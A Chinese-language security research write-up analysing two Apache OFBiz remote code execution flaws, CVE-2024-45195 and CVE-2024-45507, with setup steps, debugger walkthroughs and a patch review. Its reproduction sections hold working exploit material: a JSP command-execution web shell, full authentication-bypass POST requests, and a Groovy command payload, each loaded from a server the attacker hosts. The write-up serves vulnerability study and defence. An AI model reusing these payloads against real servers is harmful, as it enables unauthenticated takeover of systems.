mirror of
https://github.com/gelusus/wxvl.git
synced 2025-07-29 22:14:41 +00:00
311 lines
14 KiB
Markdown
311 lines
14 KiB
Markdown
![]() |
# Apache OFBiz 命令执行漏洞分析(CVE-2024-45195、CVE-2024-45507)
|
|||
|
原创 元亨-blckder02 中孚安全技术研究 2024-11-13 17:31
|
|||
|
|
|||
|
1. 环境搭建
|
|||
|
|
|||
|
|
|||
|
下载地址:
|
|||
|
https://archive.apache.org/dist/ofbiz/
|
|||
|
|
|||
|
解压后用 IDEA 打开,点击右侧栏 Gradle 中的 build 之后会生成一个 biuld 目录,该目录下面会生成一个 ofbiz.jar,Run/Debug Configurations 中会自动生成一个 Gradle 配置项;
|
|||
|
|
|||
|
新增 JAR Application,添加指定 ofbiz.jar 路径。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
启动这个jar。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
能成功访问
|
|||
|
https://localhost:8443/webtools
|
|||
|
就说明环境搭好了。
|
|||
|
|
|||
|

|
|||
|
## 2. CVE-2024-45195
|
|||
|
### 2-1. 前言
|
|||
|
|
|||
|
**官方公告:**
|
|||
|
|
|||
|
https://issues.apache.org/jira/browse/OFBIZ-13130
|
|||
|
|
|||
|
https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy
|
|||
|
|
|||
|
**漏洞描述:**
|
|||
|
|
|||
|
通过目录遍历可以绕过授权验证实现命令执行。
|
|||
|
|
|||
|
**影响版本:**
|
|||
|
|
|||
|
Apache OFBiz < 18.12.16
|
|||
|
|
|||
|
### 2-2. 漏洞复现
|
|||
|
|
|||
|
rceschema.xml:
|
|||
|
```
|
|||
|
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
|||
|
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
|
|||
|
<record name="rceentry" limit="many">
|
|||
|
<field name="jsp" type="String" length="60" position="0"></field>
|
|||
|
</record>
|
|||
|
</data-file>
|
|||
|
</data-files>
|
|||
|
```
|
|||
|
|
|||
|
rcereport.csv:
|
|||
|
```
|
|||
|
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>
|
|||
|
```
|
|||
|
|
|||
|
起一个http服务,将这两个文件放到目录下。
|
|||
|
|
|||
|
```
|
|||
|
python -m http.server 8888
|
|||
|
```
|
|||
|
|
|||
|
请求包:
|
|||
|
```
|
|||
|
POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
|
|||
|
Host: 127.0.0.1:8443
|
|||
|
Cookie: OFBiz.Visitor=10100
|
|||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
|
|||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
|
|||
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
Accept-Encoding: gzip, deflate, br
|
|||
|
Upgrade-Insecure-Requests: 1
|
|||
|
Sec-Fetch-Dest: document
|
|||
|
Sec-Fetch-Mode: navigate
|
|||
|
Sec-Fetch-Site: none
|
|||
|
Sec-Fetch-User: ?1
|
|||
|
Priority: u=0, i
|
|||
|
Te: trailers
|
|||
|
Connection: keep-alive
|
|||
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
Content-Length: 241
|
|||
|
|
|||
|
DATAFILE_LOCATION=http://127.0.0.1:8888/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://127.0.0.1:8888/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce
|
|||
|
```
|
|||
|
|
|||
|

|
|||
|
|
|||
|
访问
|
|||
|
https://127.0.0.1:8443/accounting/index.jsp?cmd=calc
|
|||
|
,成功执行命令。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
|
|||
|
### 2-3. 漏洞分析
|
|||
|
|
|||
|
权限绕过的原理和之前一样,通过不需要鉴权的路由来绕过。触发命令执行的文件不同,之前利用的是 ProgramExport.groovy,现在利用 ViewDataFile.groovy 。
|
|||
|
|
|||
|
在 controller.xml 中定义了路由
|
|||
|
/viewdatafile
|
|||
|
,
|
|||
|
security.auth
|
|||
|
为true,直接访问需要权限。视图指向
|
|||
|
component://webtools/widget/MiscScreens.xml#viewdatafile
|
|||
|
,会调用 ViewDataFile.groovy 脚本。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
解读一下 ViewDataFile.groovy 的作用:
|
|||
|
|
|||
|
1.从请求中获取多个参数的值;
|
|||
|
|
|||
|

|
|||
|
|
|||
|
2. DATAFILE_IS_URL 和 DEFINITION_IS_URL 的值表示 DATAFILE_LOCATION 和 DEFINITION_LOCATION 是否为一个 URL,为 ture 则直接创建URL对象,为 false 则将文件路径转换为 URL。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
3. 从 DEFINITION_LOCATION 的 URL 地址获取文件中定义的数据文件的名称列表。满足
|
|||
|
dataFileUrl && definitionUrl && definitionNames
|
|||
|
为 true,则根据定义文件 DEFINITION_LOCATION 的内容和 DEFINITION_NAME 名称,从 DATAFILE_LOCATION 地址读取数据文件内容。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
4. 将上面读取到的数据文件内容写入 DATAFILE_SAVE 指定的文件。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
也就是说,该文件实现了一个数据读取和写入的功能,并且能解析 JSP 文件,也就是能通过写入JSP shell 来实现命令执行。
|
|||
|
|
|||
|
定义文件的格式在
|
|||
|
> 《OFBiz 的数据文件工具》
|
|||
|
|
|||
|
|
|||
|
> https://cwiki.apache.org/confluence/display/OFBIZ/OFBiz%27s+Data+File+Tools
|
|||
|
|
|||
|
|
|||
|
|
|||
|
中有介绍,通过 xml 格式来定义要写入的数据文件的信息。
|
|||
|
|
|||
|
xml 文件中
|
|||
|
data-file.name
|
|||
|
表示数据文件名称(并非文件名),需与 POST 传入的 DEFINITION_NAME 的值一致,
|
|||
|
record.name
|
|||
|
表示实体名称。
|
|||
|
field.name
|
|||
|
表示实体字段的名称,也就是指向 DATAFILE_LOCATION 文件,读取数据文件后会使用该名称以键值对的形式保存。
|
|||
|
field.type
|
|||
|
表示数据类型,
|
|||
|
field.length
|
|||
|
表示字段的长度,需与实际数据长度一致,
|
|||
|
field.position
|
|||
|
表示该字段开始读取的位置。
|
|||
|
|
|||
|
调试看看,简单过一下权限绕过和视图解析的几个点。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
进入 ViewDataFile.groovy,获取了前端传入的参数,dataFileSave 为数据文件写入的文件路径,dataFileLoc 为数据文件的 URL 地址,definitionLoc 为xml定义文件的URL地址,definitionName 为定义文件中定义的名称。
|
|||
|
|
|||
|
dataFileIsUrl 和definitionIsUrl 为true,表示文件地址为URL格式,所以 dataFileUrl 和 definitionUrl 分别为数据文件和定义文件的URL对象。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
跟进 ModelDataFileReader.getModelDataFileReader(),要 new 一个 ModelDataFileReader 对象,在 createModelDataFiles() 中去读取并解析远程的xml文件,返回 ModelDataFileReader 对象,并从中获取数据文件名称。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
接着跟进 DataFile.readFile(),同样调用了 ModelDataFileReader.getModelDataFileReader(),从中获取与 dataFileName 对应的 ModelDataFile 对象,包装成 DataFile 对象返回,其中包含了数据文件的结构信息。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
然后调用 dataFile.readDataFile(fileUrl),逐行读取远程数据文件的内容,以键值对的形式保存到 DataFile 对象的实体字段中。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
最后就是调用 dataFile.writeDataFile(dataFileSave),将 DataFile 对象中保存的数据文件内容写入到指定的文件中。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
当从前端访问该 jsp 文件时,就会解析内容,实现命令执行。
|
|||
|
## 3. CVE-2024-45507
|
|||
|
### 3-1. 前言
|
|||
|
|
|||
|
**官方公告:**
|
|||
|
|
|||
|
https://issues.apache.org/jira/browse/OFBIZ-13132
|
|||
|
|
|||
|
https://lists.apache.org/thread/o90dd9lbk1hh3t2557t2y2qvrh92p7wy
|
|||
|
|
|||
|
**漏洞描述:**
|
|||
|
|
|||
|
由于Apache OFBiz在从 Groovy 加载文件时对 URL 的验证不足,导致远程攻击者可以通过服务器端请求伪造的方式向任意系统发起请求,并可能导致远程代码执行,成功利用此漏洞可能允许攻击者完全控制受影响的系统,包括访问敏感数据、执行任意命令或进行进一步的网络攻击。
|
|||
|
|
|||
|
**影响版本:**
|
|||
|
|
|||
|
Apache OFBiz < 18.12.16
|
|||
|
### 3-2. 漏洞复现
|
|||
|
|
|||
|
写一个屏幕定义文件 ssrfpoc.xml,value 设为一段 groovy 表达式来执行命令:
|
|||
|
```
|
|||
|
<?xml version="1.0" encoding="UTF-8"?>
|
|||
|
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
|||
|
xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">
|
|||
|
|
|||
|
<screen name="StatsDecorator">
|
|||
|
<section>
|
|||
|
<actions>
|
|||
|
<set field="headerItem" value="${groovy:throw new Exception('cmd /c start calc'.execute().text);}"/>
|
|||
|
<entity-one entity-name="FinAccount" value-field="finAccount"/>
|
|||
|
</actions>
|
|||
|
</section>
|
|||
|
</screen>
|
|||
|
|
|||
|
</screens>
|
|||
|
```
|
|||
|
|
|||
|
向
|
|||
|
/webtools/control/forgotPassword/StatsSinceStart
|
|||
|
传递定义文件。
|
|||
|
```
|
|||
|
POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
|
|||
|
Host: 127.0.0.1:8443
|
|||
|
Cookie: OFBiz.Visitor=10100
|
|||
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
|
|||
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
|
|||
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
Accept-Encoding: gzip, deflate, br
|
|||
|
Upgrade-Insecure-Requests: 1
|
|||
|
Sec-Fetch-Dest: document
|
|||
|
Sec-Fetch-Mode: navigate
|
|||
|
Sec-Fetch-Site: none
|
|||
|
Sec-Fetch-User: ?1
|
|||
|
Priority: u=0, i
|
|||
|
Te: trailers
|
|||
|
Connection: keep-alive
|
|||
|
Content-Type: application/x-www-form-urlencoded
|
|||
|
Content-Length: 56
|
|||
|
|
|||
|
statsDecoratorLocation=http://127.0.0.1:8888/ssrfpoc.xml
|
|||
|
```
|
|||
|
|
|||
|
执行命令。
|
|||
|
|
|||
|

|
|||
|
### 3-3. 漏洞分析
|
|||
|
|
|||
|
在 controller.xml 中定义了路由
|
|||
|
/StatsSinceStart
|
|||
|
,
|
|||
|
security.auth
|
|||
|
为 true,直接访问需要权限。视图指向
|
|||
|
component://webtools/widget/StatsScreens.xml#StatsSinceStart
|
|||
|
,会调用 StatsSinceStart.groovy 脚本,但是这里没有可利用的点。
|
|||
|
|
|||
|
在 StatsSinceStart.xml 的
|
|||
|
<widgets>
|
|||
|
|
|||
|
标签下名为
|
|||
|
StatsDecorator
|
|||
|
装饰器屏幕的定义中,
|
|||
|
${parameters.statsDecoratorLocation}
|
|||
|
是前端可控的,允许从远程加载屏幕定义文件。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
读取 StatsScreens.xml 文件,逐层解析标签到 StatsDecorator 装饰器,从前端 statsDecoratorLocation 参数获取到远程 StatsDecorator 定义文件的地址。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
从远程地址获取到名为 StatsDecorator 的屏幕定义内容。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
也是逐层解析标签,然后执行并解析
|
|||
|
this.valueExdr
|
|||
|
表达式。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
跟进创建
|
|||
|
groo
|
|||
|
v
|
|||
|
y 脚本实例,绑定了上下文数据。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
run() 执行该脚本,调用 ProcessGroovyMethods.execute() 执行系统命令。
|
|||
|
|
|||
|

|
|||
|
## 4. 补丁分析
|
|||
|
|
|||
|
18.12.16 版本,在进行视图解析的 RequestHandler.renderView() 中,添加了一段对当前要访问的视图进行权限检查的代码。
|
|||
|
|
|||
|
当满足 viewMap.securityAuth 为true,且当前为未登录状态时,就会进入if分支,进行登录校验,登录失败则抛出异常,停止视图解析。
|
|||
|
|
|||
|

|
|||
|
|
|||
|
|
|||
|
**参考链接:**
|
|||
|
|
|||
|
https://www.rapid7.com/blog/post/2024/09/05/cve-2024-45195-apache-ofbiz-unauthenticated-remote-code-execution-fixed/
|
|||
|
|
|||
|
https://forum.butian.net/article/586
|
|||
|
|
|||
|
https://xz.aliyun.com/t/15569
|
|||
|
|